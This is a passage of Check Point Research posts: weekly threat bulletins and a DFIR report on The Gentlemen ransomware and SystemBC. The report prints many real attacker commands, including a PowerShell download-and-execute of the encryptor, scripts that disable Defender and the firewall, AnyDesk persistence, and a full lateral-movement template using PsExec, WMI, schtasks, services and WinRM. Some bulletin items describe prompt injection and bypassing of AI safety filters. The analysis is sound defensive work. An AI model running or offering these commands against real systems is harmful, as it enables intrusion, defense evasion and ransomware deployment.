  • Researchers highlighted a prompt-injection exploit chain in Google’s Antigravity agentic IDE that enabled sandbox escape and remote code execution. The flaw abused a file search tool that ran before security checks, letting attackers convert a benign prompt into system compromise, even in Secure Mode. The vulnerability was patched by Google.

VULNERABILITIES AND PATCHES

  • Microsoft issued out-of-band fixes for CVE-2026-40372, a critical ASP.NET Core privilege escalation flaw rated 9.1. A bug in Data Protection versions 10.0.0 to 10.0.6 could let attackers forge cookies and antiforgery tokens, impersonate users, and gain SYSTEM-level access on Linux or macOS deployments.
  • Apple released fixes for CVE-2026-28950 in iOS and iPadOS, a Notification Services bug that retained deleted alerts and allowed recovery of sensitive message previews. The flaw affected many iPhone and iPad models, enabled forensic access with device possession and allegedly allowed law enforcement agencies access to incoming messages from encrypted messaging apps.
  • LMDeploy is affected by CVE-2026-33626, a high-severity server-side request forgery flaw in the open-source toolkit for deploying large language models. Active exploitation began within 13 hours of disclosure, with attackers abusing the image loader to reach cloud metadata, probe internal services, and support lateral movement.
  • End of life D-Link DIR-823X routers are affected by CVE-2025-29635, a remote code execution flaw exploited to deploy a Mirai-based botnet. Akamai reported that attackers are sending requests which fetch and run scripts to conscript devices for denial of service attacks, with no patches expected for the affected models.

Check Point IPS provides protection against this threat (D-Link DIR-823X Command Injection (CVE-2025-29635))

THREAT INTELLIGENCE REPORTS

  • Check Point Research has analyzed The Gentlemen ransomware-as-a-service operation, a group that emerged in 2025 and offers encryptors for Windows, Linux, NAS, BSD, and ESXi systems. The report details its underground recruitment, leak site model, Tox-based negotiations, and SystemBC proxy infrastructure used for persistence and access.
  • Researchers mapped a Mustang Panda espionage campaign targeting India’s banking sector and South Korean policy circles, deploying the updated LOTUSLITE backdoor. The group used HDFC-themed help files and fake banking pop-ups, and leveraged DLL sideloading to install the malware.
  • Researchers uncovered a supply-chain attack that inserted credential-stealing malware into Checkmarx developer tools on Docker Hub and Visual Studio Code, including KICS images downloaded over five million times. The malware collects cloud and developer credentials and spreads through stolen GitHub tokens and workflows, with TeamPCP suspected.
  • Researchers tracked a coordinated malvertising campaign abusing Google Ads to impersonate major cryptocurrency platforms like Uniswap, Morpho, and Ledger. The operation uses Google-hosted redirect pages, cloaking, and cloned sites to deploy wallet drainers, seed phrase theft pages, and fake extensions, resulting in at least $1.27 million stolen.

 

The post 27th April – Threat Intelligence Report appeared first on Check Point Research.

  •  

20th April – Threat Intelligence Report

For the latest discoveries in cyber research for the week of 20th April, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

  • Booking.com, the Amsterdam-based travel platform, has confirmed a data breach after unauthorized parties accessed reservation data linked to some customers. Exposed information included names, email addresses, phone numbers, physical addresses, and booking details, creating phishing risk, while the company reset reservation PINs and notified affected users.
  • McGraw-Hill, a global educational publisher, has disclosed a data breach following an extortion attempt after attackers accessed its Salesforce environment. Leaked data from about 13.5 million accounts includes names, email addresses, phone numbers, and physical addresses, while no payment card information was reported exposed.
  • EssentialPlugin, a WordPress plugins development firm, has suffered a supply chain compromise that pushed malicious updates to more than 30 plugins installed on thousands of websites. The backdoored code enabled unauthorized access and spam page creation, and WordPress.org closed the affected plugins while infections may remain.
  • Basic-Fit, Europe’s largest gym chain, has reported a data breach after attackers accessed a franchise-wide system used to track club visits. The incident exposed bank account details and personal data for about one million members across six countries, while passwords and identity documents were not affected.

AI THREATS

  • Researchers unveiled that a lone hacker weaponized Claude Code and OpenAI’s GPT-4.1 to breach nine Mexican government agencies. AI-driven commands accelerated reconnaissance, issuing 5,317 actions across 34 sessions and accessing 195 million taxpayer records and 220 million civil records, after safety filters were bypassed through prompt manipulation and an injected hacking manual.
  • Researchers detailed a phishing campaign that impersonates Anthropic’s Claude AI with a fake Claude Pro installer for Windows. The package displays a working application to distract victims while abusing a trusted program to sideload PlugX malware, enabling remote access and persistence on compromised systems.
  • Researchers demonstrated a prompt injection technique that hijacks AI agents used in GitHub workflows from major vendors. Malicious instructions hidden in pull request titles or comments can make the agents run commands and expose repository secrets, including access tokens and API keys, during automated development tasks.

VULNERABILITIES AND PATCHES

  • CISA warns of active exploitation of Apache ActiveMQ vulnerability CVE-2026-34197, a high-severity code injection flaw that allows remote code execution. The vulnerability carries a CVSS score of 8.8 and has been addressed by Apache in versions 5.19.4 or 6.2.3.

Check Point IPS provides protection against this threat (Apache ActiveMQ Code Injection (CVE-2026-34197))

  • Splunk has released fixes for CVE-2026-20204, a high-severity vulnerability in Splunk Enterprise and Cloud Platform. The flaw can let a low-privileged user upload a malicious file to a temporary directory and achieve remote code execution, while two additional medium-severity issues were also addressed.
  • As part of its Patch Tuesday, Microsoft has patched CVE-2026-33825, one of three actively-exploited Microsoft Defender zero-days dubbed BlueHammer, RedSun, and UnDefend that were revealed by a security researcher. The vulnerabilities allow local privilege escalation as well as denial of service, and researchers said exploitation began in April after the vulnerabilities were revealed.
  • CISA has flagged the vulnerability CVE-2025-60710, a Windows Task Host privilege escalation flaw affecting Windows 11 and Windows Server 2025, as being actively exploited in attacks. The vulnerability allows a local attacker to gain SYSTEM privileges on a compromised device.

THREAT INTELLIGENCE REPORTS

  • Check Point Research have documented 2026 Q1 brand impersonation phishing focused on Microsoft, Apple, Google, and Amazon, which accounted for nearly half of observed attempts. The research shows attackers using lookalike subdomains, QR-based WhatsApp lures, and fake Adobe installers to steal credentials and compromise devices.
  • Researchers uncovered ZionSiphon, malware designed to target industrial control environments at water treatment and desalination facilities in Israel. The report says the code is configured for operational technology systems and reflects continued attacker interest in critical infrastructure, especially utilities with exposed or weakly defended networks.
  • Researchers identified more than 1,250 active command and control servers distributed across 165 Russian hosting providers between January and April 2026. The infrastructure supported malware campaigns involving traffic redirection systems, IoT botnets including Hajime, Mozi, and Mirai, and repurposed tools such as Cobalt Strike.
  • Researchers observed a fake “Ledger Live” app on Apple’s App Store that stole more than $9.5 million from over 50 cryptocurrency users within a week. The app harvested wallet credentials, drained funds across Bitcoin, Ethereum, Solana, Tron and XRP, and routed proceeds through KuCoin deposit addresses and the AudiA6 mixer, complicating recovery.

The post 20th April – Threat Intelligence Report appeared first on Check Point Research.

  •  

DFIR Report – The Gentlemen & SystemBC: A Sneak Peek Behind the Proxy

Key Points

  • The Gentlemen ransomware‑as‑a‑service (RaaS) program is rapidly gaining popularity, attracting numerous affiliates and publicly claiming over 320 victims, with the majority of attacks (240) occurring in the first months of 2026.
  • The service provides a broad locker portfolio implemented in Go for WindowsLinuxNAS, and BSD, plus an additional locker written in C for ESXi, enabling coverage of the multiple platforms commonly found in corporate environments.
  • During an incident response engagement, an affiliate associated with The Gentlemen attempted to deploy SystemBC, a proxy malware frequently leveraged in human‑operated ransomware operations for covert tunneling and payload delivery.
  • Check Point Research observed victim telemetry from the relevant SystemBC command‑and‑control server, revealing a botnet of over 1,570 victims, with the infection profile strongly suggesting a focus on corporate and organizational environments rather than opportunistic consumer targeting.


The Gentlemen RaaS

The Gentlemen ransomware‑as‑a‑service (RaaS) operation is a relatively new group that emerged around mid‑2025. The operators advertise their services across multiple underground forums, promoting their ransomware platform and inviting penetration testers (and other technically skilled actors) to join as affiliates.

Figure 1 — The Gentlemen post on underground forums.

The RaaS provides affiliates with multi‑OS lockers for Windows, Linux, NAS, BSD implemented in Go, and an additional locker for ESXi implemented in C. The group also grants verified partners access to EDR‑killing tools and its own multi‑chain pivot infrastructure (server and client components).

The group maintains an onion site where it publishes data stolen from victims who refuse to pay. Negotiations, however, are not conducted through this leak portal but via the individual affiliate’s Tox ID. Tox is a free, decentralized, peer‑to‑peer (P2P) instant messaging protocol that provides end‑to‑end encrypted voice, video, and text communication.

The group also appears to maintain a Twitter/X account, which is referenced in the ransomware note. Through this account, the operators publicly post about victims, likely to increase pressure on them to pay.

Figure 2 — The Gentlemen RaaS X/Twitter account.

To date, the group has publicly claimed a little over 320 victims, with the majority of infections occurring in 2026. This growth in activity suggests that The Gentlemen RaaS program has managed to attract a significant number of affiliates over the last few months.


SystemBC Infections

During an incident response case, an affiliate of The Gentlemen Ransomware‑as‑a‑Service (RaaS) deployed SystemBC, a proxy malware, on the compromised host. SystemBC establishes SOCKS5 network tunnels within the victim’s environment and connects to its C&C server using a custom RC4‑encrypted protocol. It can also download and execute additional malware, with payloads either written to disk or injected directly into memory.

The specific Command and Control server that was used for the communication had infected a large number of victims across the globe. It is likely that the majority of those victims are companies and organizations, given that SystemBC is typically deployed as part of human‑operated intrusion workflows rather than massive targeting.

Figure 3 — SystemBC global accesses.

There are over 1,570 victims, with the majority located in the United States, followed by the United Kingdom and Germany.

Figure 4 — Top 15 Infected countries.

Whether SystemBC is directly integrated into The Gentlemen ransomware ecosystem or is simply a tool leveraged by this particular affiliate for exfiltration and remote access remains unclear. At this time, Check Point Research has no evidence to determine the exact nature of this relationship.

Figure 5 — SystemBC infections panel.


DFIR Report – Timeline

Figure 6 – A high-level timeline of the attack

Initial Access and Establishment of Domain Control

The precise initial access vector could not be conclusively determined. The earliest stage of adversary activity that can be established with confidence is the attacker’s presence on a Domain Controller with Domain Admin–level privileges. From that position, the attacker appears to have performed systematic credential validation and host accessibility testing across the environment, as reflected in an initial pattern of failed network logons followed by successful authentications originating from the Domain Controller. This sequence is consistent with a controlled effort to verify privileged access and identify viable systems before expanding operations more broadly.

Remote Execution and Early Discovery

Using this privileged position, the attacker deployed Cobalt Strike payloads to remote systems by writing executables to administrative shares such as \\\\[REDACTED_HOSTNAME]\\ADMIN$\\<random_7_char>.exe and executing them via RPC. The first observed deployment occurred on an internal endpoint, after which similar activity appeared across additional hosts. Early post-compromise actions included reconnaissance commands such as cmd.exe /C systeminfo, cmd.exe /C whoami, and enumeration commands like cmd.exe /C dir c:\\users. The attacker also accessed internal documentation via cmd.exe /C type \\\\[REDACTED_HOSTNAME]\\d$\\...\\公司主機紀錄.txt, indicating use of environment-specific knowledge in addition to automated discovery. Expansion to other systems followed quickly, with repeated execution artifacts such as regsvr32.exe across multiple hosts confirming centrally driven activity.

Command-and-Control and Payload Staging

As execution expanded, the attacker attempted to establish additional command-and-control capabilities. On one compromised host, it staged the tool socks.exe – identified as a variant of SystemBC – was executed and attempted to communicate with 45.86.230[.]112, followed by validation using cmd.exe /C tasklist | findstr /i socks. This tool is commonly used to create SOCKS-based proxy channels for covert communication and internal pivoting. In this instance, however, the activity was blocked by endpoint protection. Shortly thereafter, a remotely executed payload (<random_7_char>.exe) spawned c:\\windows\\system32\\rundll32.exe, which established outbound communication to 91.107.247[.]163 Cobalt Strike C&C over ports 443 and later 80, indicating successful external command-and-control connectivity through alternative infrastructure.

At the same stage, PowerShell was executed from a scheduled task context using:

powershell.exe -ExecutionPolicy Bypass -command (new-object net.webclient).downloadfile('http://[REDACTED_DOMAIN_CONTROLLER]:8080/grand.exe', 'c:\\programdata\\r.exe'); c:\\programdata\\r.exe --password VvO8EtUh --spread [REDACTED_DOMAIN]\\[REDACTED_USER]:[REDACTED_PASSWORD]

This command downloaded grand.exe (the ransomware encryptor) from an internal staging server (DC) and executed it as c:\\programdata\\r.exe. The arguments --password VvO8EtUh and --spread [REDACTED_DOMAIN]\\[REDACTED_USER]:[REDACTED_PASSWORD] indicate both controlled execution and built-in propagation capability, marking a transition from initial access to coordinated malware deployment.

Defense Evasion, Propagation, and Persistence

Following execution of the staged payload, the attacker attempted to weaken host defenses using:

powershell.exe -Command Set-MpPreference -DisableRealtimeMonitoring $true -Force

This disabled Windows Defender real-time monitoring. The same payload, identified by a consistent hash, then appeared across numerous systems under different filenames, including c:\\programdata\\r.exe, c:\\programdata\\g.exe, and c:\\programdata\\o.exe. This demonstrates rapid internal propagation via a shared malware component, supported by both domain-level access and the built-in spreading mechanism described earlier.

In parallel, the attacker performed environmental checks using commands such as:

cmd.exe /C wmic product where Name like '%kaspe%' get Name, IdentifyingNumber

Later, repeatedly executed across multiple hosts:

cmd.exe /C gpupdate /force

These attempts suggest the threat actor tried to influence or validate policy state during propagation. Remote Desktop was then enabled through commands such as:

cmd.exe /C reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
cmd.exe /C netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Later, the attacker installed and configured AnyDesk using:

cmd.exe /C anydesk.exe --install C:\\Program Files (x86)\\AnyDesk\\anydesk.exe --start-with-win
cmd.exe /C echo Camry@12345 | C:\\Program Files (x86)\\AnyDesk\\AnyDesk.exe --set-password
cmd.exe /C anydesk.exe --start
cmd.exe /C anydesk.exe --get-id

This established a persistent remote access channel with a predefined password (Camry@12345), adding a secondary access mechanism after the SystemBC attempt was blocked.

Credential Access and Continued Discovery

Compromised hosts were also used for credential harvesting. Mimikatz output recovered from memory on one of the compromised endpoints showed access to credential material, including domain accounts and stored credentials from Credential Manager. This confirms that credential access occurred alongside lateral movement and malware deployment.

At the same time, the attacker continued discovery operations using commands such as:

cmd.exe /C query session
cmd.exe /C nltest /domain_trusts
cmd.exe /C nltest /dclist
cmd.exe /C net group "Domain Admins" /domain
cmd.exe /C net group "Enterprise Admins" /domain

These commands indicate enumeration of active sessions, domain trust relationships, domain controllers, and privileged groups, reflecting a shift toward understanding and potentially controlling the broader domain structure.

Consolidated View of the Intrusion

Taken together, the attack progressed from suspected perimeter access to domain-level control, followed by credential validation, remote payload execution via ADMIN$ shares, and rapid expansion across endpoints. This was accompanied by attempted and successful command-and-control establishment using infrastructure such as 45.86.230[.]112 and 91.107.247[.]163, staged malware delivery from the internal DC, and widespread propagation of a shared payload under multiple filenames. Defensive measures were actively suppressed, and multiple persistence and exfiltration mechanisms were introduced, including RDP and AnyDesk.

The failed deployment of SystemBC and the subsequent reliance on alternative channels demonstrate that the attacker adapted their approach when blocked. Overall, the activity reflects coordinated, centrally controlled execution with layered access mechanisms, resulting in broad, durable control over the environment.

Impact

The intrusion culminated in the deployment of The Gentlemen RaaS payload by an affiliate, using Group Policy as the distribution mechanism. A GPO‑based deployment was configured so that the ransomware binary was executed on domain‑joined systems during policy refresh, resulting in a rapid, near‑simultaneous encryption event across the environment.


The Gentlemen GO Ransomware

The Gentlemen ransomware is developed in the Go programming language. It appears to be under active development, with new features and capabilities being continuously added over time.

Command Line Arguments

The Gentlemen ransomware exposes a wide range of command‑line options that provide numerous features to its operators. While most flags are optional, the only mandatory argument required to start the encryption process is --password, which appears to be unique per build/infection.

Usage: %s --password PASS [--path DIR1,DIR2,...] [--T MIN] [--silent] [--wipe] [--keep] [--full/system/shares] [--gpo/spread] [--fast/superfast/ultrafast] 

  Main Flags 
  --password PASS    Access password (required)
  --path DIRS        Comma-separated list of target directories/disks (optional)
  --T MIN            Delay before start, in minutes (optional)

  Mode Flags (cant be mixed) 
  --system           Run as SYSTEM: encrypt only local drives (optional)
  --shares           Encrypt only mapped network drives and available UNC shares in session context (optional)
  --full             Two-phase: --system + --shares. Best practice. (optional)

  Additional Flags 
  --spread CREDS     Lateral movement: "domain/user:pass" with creds, or "" for current session
  --gpo              Deploy via Group Policy to all domain computers (run on DC)
  --silent           Silent mode: do NOT rename and modify time of files after encryption, no wallpaper(optional)
  --keep             Do not selfdelete after encryption (optional)
  --wipe             Wipe free space after encryption (optional)

  Speed Flags (cant be mixed) 
  --fast             9 percent crypt. (optional)
  --superfast        3 percent crypt. (optional)
  --ultrafast        1 percent crypt. (optional)

    Example 1: --password QWERTY --path "C:\\,D:\\,\\\\nas\\share" --T 15 --silent
    Example 2: --password QWERTY --system --fast
    Example 3: --password QWERTY --shares --T 10
    Example 4: --password QWERTY --full --ultrafast
    Example 5: --password QWERTY --full --spread "domain\\admin:P@ss"  # With credentials
    Example 6: --password QWERTY --T 10 --keep --spread ""                     # Current session
    Example 7: --password QWERTY --gpo --full --fast

[+]

The minimum required command‑line for The Gentlemen ransomware execution is:

$process_name --password $pass

The password is plaintext hardcoded in the binary validates it with the password provided in the required argument.

Figure 7 — Argument – Hardcoded Password comparison.

Processes & Services Termination

To terminate running processes, the malware repeatedly executes the following command in a loop for each targeted process:

  • taskkill /IM <process>.exe /F
CategoryProcesses targeted
VMware / Hyper-Vvmms, vmwp, vmcompute, vmacthlp, vmtoolsd, vmware, vmware-tray, vmware-vmx, vmwareuser
SQL Serversqlservr, sql, sqlbrowser, sqlwriter, SQLAGENT, sqlceip, sqbcoreservice, fdlauncher, fdhost, isqlplussvc, ReportingServicesService, Microsoft.SqlServer.Management, Microsoft.SqlServer.IntegrationServices.WorkerAgentServiceHost, DBeaver, Ssms, dbeng50, dbsnmp
MySQL / PostgreSQL / Oraclemysqld, oracle, postmaster, postgres, psql, pgAdmin3, pgAdmin4, ocssd, ocomm, ocautoupds
Backup & RecoveryDatto, cbService, cbVSCService11, cbInterface, MSP360, Macrium, Acronis, Carbonite, CrashPlan, Unitrends, StorageCraft, raw_agent_svc, vsnapvss, ShadowProtectSvc, Iperius, IperiusService, avagent, avscc, CagService
VeeamVeeamNFSSvc, VeeamTransportSvc, VeeamDeploymentSvc, Veeam.EndPoint.Service
CommvaultCVMountd, cvd, cvfwd, CVODS
SAPSAP, saphostexec, saposco, sapstartsrv, agntsvc
Veritas / Symantec BEbedbh, vxmon, benetns, bengien, pvlsvr, beserver
Office / Productivityexcel, infopath, msaccess, mspub, onenote, outlook, powerpnt, visio, winword, wordpad, notepad
Email Clientsthebat, thunderbird, tbirdconfig
Web / App Serversw3wp, encsvc, xfssvccon
Remote AccessTeamViewer_Service, TeamViewer, tv_w32, tv_x64
QuickBooksQBIDPService, QBDBMgrN, QBCFMonitorService
Desktop / Misc Servicesmydesktopqos, mydesktopservice, mvdesktopservice, synctime, EnterpriseClient, DellSystemDetect, Docker Desktop
Otherfirefox, steam

For service termination, the ransomware relies on two distinct commands:

  1. sc config <service> start=disabled, sends a stop signal to the service right now, killing it immediately if it’s currently running.
  2. sc stop <service>, sends a stop signal to the service right now, killing it immediately if it’s currently running.
CategoryServices targeted
Backup & Recoveryvmms, veeam, backup, vss, YooBackup, DattoBackup, MSP360Service, Macrium*, ShadowProtectSvc, PDVFSService, AcronisCyberProtect, AcronisAgent, AcrSch2Svc, VSNAPVSS, storflt, stc_raw_agent, VeeamNFSSvc, VeeamDeploymentService, VeeamTransportSvc
Veritas / Backup ExecBackupExec*, BackupExecVSSProvider, BackupExecAgentAccelerator, BackupExecAgentBrowser, BackupExecDiveciMediaService, BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService
SQL / DatabasesSql, sql, MSSQL*, MSSQLSERVER, MSSQL, MSSQL$SQLEXPRESS, SQLSERVERAGENT, SQLWriter, SQLAgent$SQLEXPRESS, MsDtsServer150, SSISScaleOutWorker150, SSSScaleOutMaster, SSSScaleOutWorker, SSASTELEMETRY, SQL Server Distributed Replay Client, SQL Server Distributed Replay Controller, MySQL, MariaDB, postgresql, OracleServiceORCL, (.)sql(.)
VMwareVMware, VMwareTools, VMwareHostd, VMAuthdService, VMUSBArbService
Exchange / SharePointmsexchange, MSExchange, MSExchange\$, WSBExchange, SPAdminV4
Security / AVSymantec*, sophos, DefWatch, RTVscan, SavRoam, ccSetMgr, ccEvtMgr, MVarmor, MVarmor64, zhudongfangyu
Commvault (Gx)*GxBlr, GxVss, GxClMgrS, GxCVD, GxClMgr, GXMMM, GxVsshWProv, GxFWD
SAPSAP, SAP$, SAPD$, SAPService, SAPHostControl, SAPHostExec
VeritasVeritas*
QuickBooksQBCFMonitorService, QBDBMgrN, QBIDPService
Other / Miscmepocs, memtas, docker, CAARCUpdateSvc, CASAD2DWebSvc, YooIT, svc$

Persistence

During execution, the ransomware attempts to establish persistence using multiple mechanisms. It first attempts to create a scheduled task, initially without validating the current process privileges:

  • schtasks /Delete /TN UpdateSystem /F
  • schtasks /Create /SC ONSTART /TN UpdateSystem /TR "<exe> <args>" /RU SYSTEM

In a second attempt, the ransomware creates the same scheduled task in the user context by reissuing the commands without the /RU SYSTEM.

  • schtasks /Delete /TN UpdateUser /F
  • schtasks /Create /SC ONSTART /TN UpdateUser /TR "<exe> <args>"

The second local persistence method relies on a Run registry key. As with scheduled tasks, the malware attempts to configure this both for the system (HKLM) and for the current user (HKCU):

  • reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v GupdateU /t REG_SZ /d "<exe>" /f

When the --spread argument is enabled, the ransomware also attempts to maintain remote persistence on each reachable host. For each target, it sets up two persistence mechanisms:

  • Scheduled tasks–based persistence
  • Service–based persistence

Both mechanisms attempt to execute the ransomware from different locations on the remote machine or over a share.

# Scheduled Tasks
schtasks /Create /S <target> /TN DefS /TR "<exe>" /SC ONCE /ST <HH:MM> /RU SYSTEM
schtasks /Run /S <target> /TN DefS

schtasks /Create /S <target> /TN UpdateGS /TR "\\\\<host>\\share$\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
schtasks /Run /S <target> /TN UpdateGS

schtasks /Create /S <target> /TN UpdateGS2 /TR "C:\\Temp\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
schtasks /Run /S <target> /TN UpdateGS2

# Services
sc \\\\<target> create DefSvc binpath= "<exe>"
sc \\\\<target> start DefSvc

sc \\\\<target> create UpdateSvc binpath= "\\\\<host>\\share$\\<exe> <creds>"
sc \\\\<target> start UpdateSvc

sc \\\\<target> create UpdateSvc2 binpath= "C:\\Temp\\<exe> <creds>"
sc \\\\<target> start UpdateSvc2

*Full command lines for the --spread argument are provided further below.

Antivirus Evasion

The ransomware executes three PowerShell commands to disable Microsoft Defender protection and exclude both itself and the entire C:\\ drive from scanning and monitoring:

  • powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true -Force, disables Defender’s real-time protection entirely, the background scanning that monitors files, downloads, and processes as they’re accessed. With this off, malware can run without being intercepted.
  • powershell -Command Add-MpPreference -ExclusionProcess <ransomware_exe> -Force, adds a specific executable to Defender’s process exclusion list. Defender will completely ignore any file activity triggered by that process, even if it’s doing something malicious.
  • powershell -Command Add-MpPreference -ExclusionPath C:\\ -Force, adds the entire C: drive to Defender’s path exclusion list. This tells Defender to skip scanning anything on the drive, every file, folder, and executable.

During lateral movement, the ransomware makes an attempt to blind Windows Defender on each reachable remote host by pushing a PowerShell script that disables real-time monitoring, adds broad exclusions for the drive, staging share, and its own process, shuts down the firewall, re-enables SMB1, and loosens LSA anonymous access controls, all before deploying and executing the ransomware binary on that host.

Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath 'C:\\'
Add-MpPreference -ExclusionPath 'C:\\Temp'
Add-MpPreference -ExclusionPath '\\\\<host>\\share$'
Add-MpPreference -ExclusionProcess '<exe>'
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
reg add ...\\Lsa /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
reg add ...\\Lsa /v RestrictAnonymous /t REG_DWORD /d 0 /f

Windows Firewall

The ransomware tries to disable the firewall to allow unrestricted outbound and inbound traffic. This enables lateral movement tools (PsExec, WMI, SMB) to reach remote hosts without firewall rules blocking them, and allows exfiltration channels to operate freely. Bellow the executed commands deactivating the firewall:

  • netsh advfirewall set allprofiles state off
  • powershell -Command Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
  • sc stop mpssvc
  • sc config mpssvc start=disabled

Lateral movement, --spread argument

The --spread argument is disabled by default and is assigned the value "DISABLED". The lateral movement phase is only activated when the operator explicitly supplies --spread "domain\\user:password", providing credentials harvested from the environment.

These credentials are then reused across all lateral movement operations: PsExec receives them via the -u and -p parameters, WMI uses them for remote authentication, and remote scheduled task and service creation, authenticating with them against each target host.

Once --spread is enabled, the ransomware enumerates all domain computers via Active Directory, pings each discovered host to confirm reachability, and, for every host that responds, executes the full lateral movement sequence: copying the binary, pushing the Defender‑disabling script, and deploying it through six parallel execution channels across PsExec, WMI, scheduled tasks, and services.

 --- SETUP (executed once before the per-target loop) ---

 cmd /C copy "<exe>" "C:\\Temp\\" /Y
 cmd /C xcopy "<exe>" "\\\\<host>\\C$\\Temp\\" /Y /I /C /H /R /K
 cmd /C net share share$=C:\\Temp /GRANT:Everyone,FULL
 cmd /C icacls C:\\Temp /grant "ANONYMOUS LOGON":F
 cmd /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters
        /v NullSessionShares /t REG_MULTI_SZ /d share$ /f
 cmd /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa
        /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f

 --- PER TARGET (loop over all reachable hosts) ---

 -- File copy to target --
 cmd /C copy "<exe>" "C:\\Temp\\" /Y
 cmd /C xcopy "<exe>" "\\\\<target>\\C$\\Temp\\" /Y /I /C /H /R /K

 -- PsExec: disable Defender on target (with credentials) --
 psexec \\\\<target> -accepteula -d -s -u <domain\\user> -p <pass>
     cmd /c <DEFENDER_SCRIPT_A>

 -- PsExec: disable Defender on target (no credentials) --
 psexec \\\\<target> -accepteula -d -s
     cmd /c <DEFENDER_SCRIPT_A>

 -- PsExec: run via local Temp (with credentials) --
 psexec \\\\<target> -accepteula -d -h -u <domain\\user> -p <pass>
     C:\\Temp\\<exe> <creds>

 -- PsExec: run via local Temp (no credentials) --
 psexec \\\\<target> -accepteula -d -h
     C:\\Temp\\<exe>

 -- WMI: run Defender disable script --
 wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>"

 -- WMI: run via share path --
 wmic /node:<target> process call create
    "\\\\<host>\\share$\\<exe> <creds>"

 -- WMI: run via local Temp --
 wmic /node:<target> process call create
    "C:\\Temp\\<exe> <creds>"

 -- Remote schtask: DefU (no SYSTEM) --
 schtasks /Create /S <target> /TN DefU
      /TR "<exe>" /SC ONCE /ST <HH:MM>
 schtasks /Run   /S <target> /TN DefU

 -- Remote schtask: UpdateGU (share path) --
 schtasks /Create /S <target> /TN UpdateGU
      /TR "\\\\<host>\\share$\\<exe> <creds>" /SC ONCE /ST <HH:MM>
 schtasks /Run   /S <target> /TN UpdateGU

 -- Remote schtask: UpdateGU2 (local Temp) --
 schtasks /Create /S <target> /TN UpdateGU2
      /TR "C:\\Temp\\<exe> <creds>" /SC ONCE /ST <HH:MM>
 schtasks /Run   /S <target> /TN UpdateGU2

 -- Remote schtask: DefS (SYSTEM, direct exe) --
 schtasks /Create /S <target> /TN DefS
      /TR "<exe>" /SC ONCE /ST <HH:MM> /RU SYSTEM
 schtasks /Run   /S <target> /TN DefS

 -- Remote schtask: UpdateGS (SYSTEM, share path) --
 schtasks /Create /S <target> /TN UpdateGS
      /TR "\\\\<host>\\share$\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
 schtasks /Run   /S <target> /TN UpdateGS

 -- Remote schtask: UpdateGS2 (SYSTEM, local Temp) --
 schtasks /Create /S <target> /TN UpdateGS2
      /TR "C:\\Temp\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
 schtasks /Run   /S <target> /TN UpdateGS2

 -- Remote service: DefSvc (direct exe) --
 sc \\\\<target> create DefSvc  binpath= "<exe>"
 sc \\\\<target> start  DefSvc

 -- Remote service: UpdateSvc (share path) --
 sc \\\\<target> create UpdateSvc  binpath= "\\\\<host>\\share$\\<exe> <creds>"
 sc \\\\<target> start  UpdateSvc

 -- Remote service: UpdateSvc2 (local Temp) --
 sc \\\\<target> create UpdateSvc2 binpath= "C:\\Temp\\<exe> <creds>"
 sc \\\\<target> start  UpdateSvc2

 -- Remote PowerShell: SCRIPT_B — full Defender/firewall/SMB1/LSA/shares (no creds) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Set-MpPreference -DisableRealtimeMonitoring $true;
    Add-MpPreference -ExclusionPath 'C:\\';
    Add-MpPreference -ExclusionPath 'C:\\Temp';
    Add-MpPreference -ExclusionPath '\\\\<host>\\share$';
    Add-MpPreference -ExclusionProcess '<exe>';
    Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False;
    Get-PSDrive -PSProvider FileSystem |
     Where-Object {$_.Name -match '^[A-Z]$'} |
     ForEach-Object {
      $d = $_.Name;
      net share ($d+'$')=($d+':\\') /GRANT:Everyone,FULL 2>$null;
      icacls ($d+':\\') /grant Everyone:F /T /C /Q 2>$null
     };
    Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart 2>$null;
    reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa'
      /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f 2>$null;
    reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa'
      /v RestrictAnonymous /t REG_DWORD /d 0 /f 2>$null"

 -- Remote PowerShell: SCRIPT_C — WinRM Defender disable + process exclusion (with creds) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock {
      Set-MpPreference -DisableRealtimeMonitoring $true;
      Add-MpPreference -ExclusionPath 'C:\\';
      Add-MpPreference -ExclusionProcess '<exe>'
    }"

 -- Remote PowerShell: SCRIPT_D — WinRM start process via share (no creds, 67-char template) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock { Start-Process '<exe>' }"

 -- Remote PowerShell: SCRIPT_E — WinRM start process via share with args (with creds, 96-char template) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock {
      Start-Process -FilePath '<\\\\<host>\\share$\\<exe>>' -ArgumentList '<creds>'
    }"

 -- Remote PowerShell: SCRIPT_F — WinRM start process via local Temp (no creds, 63-char template) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock { Start-Process 'C:\\Temp\\<exe>' }"

